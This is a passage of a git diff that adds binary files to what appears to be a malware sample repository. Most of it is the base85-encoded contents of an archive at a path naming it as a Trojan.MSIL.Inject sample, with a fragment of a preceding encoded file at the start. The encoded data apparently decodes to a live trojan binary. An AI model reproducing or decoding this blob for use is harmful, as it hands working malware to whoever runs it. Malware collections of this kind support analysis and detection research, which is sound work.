z`{#f4e8K_0o&;R#N z{*!Ipryu`f`@eI!V1Peu|JGZB4oqAD`zij(Xyx`jMEC!A;9py~{xs?fG|KXa(Z4rz z{S!!}Q`5gZ`5%(+*IuB%g2+St{^Zi`f9VYRCxn`}#@`VdWB+;Hf9)>$D}p{S&ih-h z$v*+C8~$&AU+aZ`1-JyZ3;z!AXK@Cog8m6%<-Fm44&m2=&tDO~q5ciwFXf+qLORL% zH>Ce262dP;S_Cc?;8^~X{QRGkYHIoCckyc>;jaS$#rT`~{{a2VoY7PNF_M3S`Za6& zSE%1=X8&*fw;b+2%~Y5ed&O_d_}}dRnk@LM{iFB)7PaBYImmwup>*rdcMtKK_6MfS5dr!@hp|if H+u8pC#bL^3 literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-6.7z b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq-6.7z new file mode 100644 index 0000000000000000000000000000000000000000..72887c36b0ce321c3b2dc4ae08316de2fce4616b GIT binary patch literal 12156 zcmaJ{Wmp{9w#D6oYjC&5EqHL(1b26Lm*7rtcZcBa?(PJ43Bfh5GxN=TlewAOKf1r_ zuHLK8sdaX(z0Q`G0*62c0Re#lIct8Saw+f*a0oow00jX-27U@UI2c*!Te?YD8{04# zI5Jg* zMw=}6N2_zO!0_xx5b(Z*IA<~)TBdQg_eOqk!4ZvKEduy?qLGD2bcxLqv6+MIdJt?Ae23v+SC6Q5|-g%t z&Mk>f%jG-DHq8n0FMF%Itg1+zcqjikFVrkM3h7l9iYZ4P8QYXFo8J`37a7Rg&gmM+@6ieV$eg6rBO^tUgA- zLBynCk==OQv0?*Ms{HKCVv!q80p6xN2o1k3th_j)>gc z72r`3>$3n)N|7we2VRq!F{;r`j(B4^qFjCxM)S?nlZ__U*ppr1I|0Uq?K{^a#6BLF zh{k()vwDqr_xfd+UTezJ`}s=3I_@)F!JO4%j_ zY|rFY!Ee{PkA{yV%2S#sgfXc~_GVm_3Jpe{lxw>@(pB6Lj)Nhy3HL__@vMlrU9Tr_ z+A$UJFb{ERlVs)iGBQ!@+1Ql>m4l9=CMqJAZ3Vfe z1*~)+(#>VQ&^N-ziAV4rc%oDkFv}kCih@)vw#8g2rbKkN<*#T`kz;U?iuP|#%of+{ zb2O2^#|z^^X{t4ZAdik9kxPbQ6de5sxoOy-GNL&EV-&x4@_}{5t1jb6KaT%HP#8m? zLRxI!n!MZ*bu#)5j`3v9C-}EjRMw#GS3FgetWQtMNL1-%#41ZpZABT2B)R_D!lsEH zv)(=qu%k5!=jl`*_d`V_Soa^Fc3)GRH8Po=VC)}ewT80nx&`R=e$0M;)7eM-3U9X~ zVe>^%pf{bA%g;UxZ&--A&tTH7qSe&Sz740?DW5DV@zyrnE*YK3%-l|M(m&t4P4CSW zKzQ^1afofx5r<{k4q?ouEr(0~a9ozyK znHet9_DZ=k$_&G!K}7#R*L->i=P|Vi2MpOJdp#5_%*GDWt|2~#BKe*8d=UznjTNc#;)oDQ2D5qQwD?^YI)FBV;7fH!=xxMF z(+JL|JGj9bn-AR7bJ_}4>LD*mL%jqrTS!SyK{w9*wj}9umxp6Lh@(*%yzLb_cEjYU0 z1F|mu$^amLq($JO|IZ7U2tZ`q82>uq&%Bw6OmuJo%$Z=oU(xtc*4EO@K+n<4 z#u}I_v=qmqRsbj+q?bsTl&U1lWV=aW;Fj_ttK~F;%?Z4mw_WZhOC@J?k)?cU$X@v! zLIjE{Mrfm-57JUDW<6hDt`^VeNBo9Ljq$0tnXW=M{M2a10!6R=i?_NctXFZ34=WYa zX&Oz>)aTetAn+*qxeRjHl*w%v)zIp|3+TD;w5pycF*gep09aGlK@SjKmXfPGymcB6 zkbRo0=~*5atxkNxQvBcjskFGu0Lk22tlC`RoTKSfSN^QSJ*HcfALc?vwPWT1t3ETI zeLAx-(4;l^z#~@?gE{0#3X>^AR6fthkCF0tb=t?h*irNa1j+1H zO{Z_=#jF7I@idsgK4e=+Z+2GncHeD*c;(&)OGevdwLU_|GjV%x6@Sbx4SBsa-Ffv|93W?F*`P~#oW`SBI z{>Z*7gcGBPiQVA+l<>_1msTVGSI4E!W5U}*_SRRBU-|L5@yo*=kROOZexUrt4`CZC zTPH^&dmuS76i0#NKwl@lM8+(`2{nw1p~QeEDlV`pm6T^MfFJAtWOB3L7?>*GjJ6z7 z-e4VfO&yKdTaH#acuvM%yj-2!jU&?d4efVv$~zkFW41%GC?&&29zrU-WRg~{f=5iR z(aD1RQsJI)&?s*93!pu29CMR&d-L9Cm+(7jb}#M~jr;WyE7WMg?D6lVBFWGnN6+$5mGwonQg1KmiJbDu7zE^a(j zS!%>EfXrxSc?~uTe?YJheMUXU0ev~{QLkSS*qI~`Qf#>)#*n+bYDXuM-V1r=QfF?% zQp6M0)HM;dr&n2D^Yr zmRNfeC8xKf<8`*R<=odth<|-X#`+oZS4z}j`w*H!fq=N<{VBD8IYq`z-rmOC$iNZE zi1Cj)4ya5hJ{QuR!n@smDYyABb@dIhv?^t}QSx5ZQE2CwxQMV6Tr@lP!=B$rA28O| z2<>eJ{Jw7{HgAxpt$($?)j7Yo;75KN19ks}Ul$+DzITkx4R&8zfr1rw2B*F~DDZ3= zIV!@wDC-H#1|yO0(72TaH{cq&W)>)TN`M~CRhx7c$mms&rfae zJn0Wrx^thu3gCywT!nnN>J`~}!?jwLNLwFJyMAT9w`F~!_u_e1=k400!9(`}=@z-H zezyGub~;ch3l}{U`>mFid4i7I)Ytd{x2)a}Vf5N%^u5 zv`^jztJI5xk48RO=fVX_Ri9hyFkQcaH#9ah3XQ*yW=*Ne|E#s+rOTcF9AUmsNS}Tq z3k^P@zo(uZJO=GG8dfyCus5VZYL(4@6SfP=YUtBO$3Mw+ulkB!Lm((Q^wkg_^P3^OGv4@88_LE;h_isV z@`UNLHa0J78zj544k)@>G}X?un5lW}*URS&-Gi;z2=%vjR+Wv`?&0ih>n*_m5V46{sxjY#y=XrVzHwkfPN*Y zk$}f{M>wJQEr-~GIxoiFT{M*QsrU{b zjwS^X^DR$9&4QOW^e(?Tnq%>2K#z$#70N@L*;2{2HzI^xZgin2w;6g{Wj3!%OoU0l zt(q*F!BW=2qeZyNF|vnR3hje~GA-uX&l;?d`QG5R#z);C@u*G0v6u})O(??GVsK>{ zcY}W~KF>gnX;c?paA|LUk-T)CzSb#sUJ$SmBpX5aQFKQN)cHZb?bbBTg~7P34N}pL zN#m2P3SV+%P>mQ40(wzGw?o8xq%%co)J+D5NIqTqfXz<{wVP)k$_XfwKKFnS&+8dL zWra>BG`;X%UMp3?N4o4;QO=GwX#T$VNt9EIhgv^(d73aEH3S+-;pah*EcULWBZ-Gi5M-5@?KkPBFO5 z?+oe{qgP^N=n6~N5}qaK{(Gbd&{M8GL|Owo?mQi+2CT(7+VIlf-76E6`?o)O4})>0 z-U9CZ#Gov%1`TJek91qgFdma3oj7(UNdTr!gG*}tXRipz=~jKix=VGl4ImVW{bZ>u zzKieYO_3#8_V+EllJr(~)eh9=*DoQKl7y4@s#%O))%m=T$l=A)d+nQ*1hHz#)8hF} z$R}9o2N0}2?o%>3gC8nBqv&4}R`|L_mIj515`LT!N*uqF{YC*Hj<5Xjn}nF8>_q3z z2bhdgtXT3@fMYQfV~RM^ZbJYlMzhfxn`idBz}!BobpTCpGibq51Wv{xLGI~cMt`A} z5PF0JtpR_k+VVaBXCCLT=@(zsUh7u4;p}HVOVshyug9E>ELcZjve{2v&P+@RJ4IfT zQ{;Zm55O8g$g~eO;~~ 97c$fW})XRU4|y;0*%wO6~b!mMwIr*4y(-cM?-s>yquMeeuKZYS^Fc6R&h`;F+ zB_l^iGiwtE;8V#k3L!>646*qj;+~aMM
%gz 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 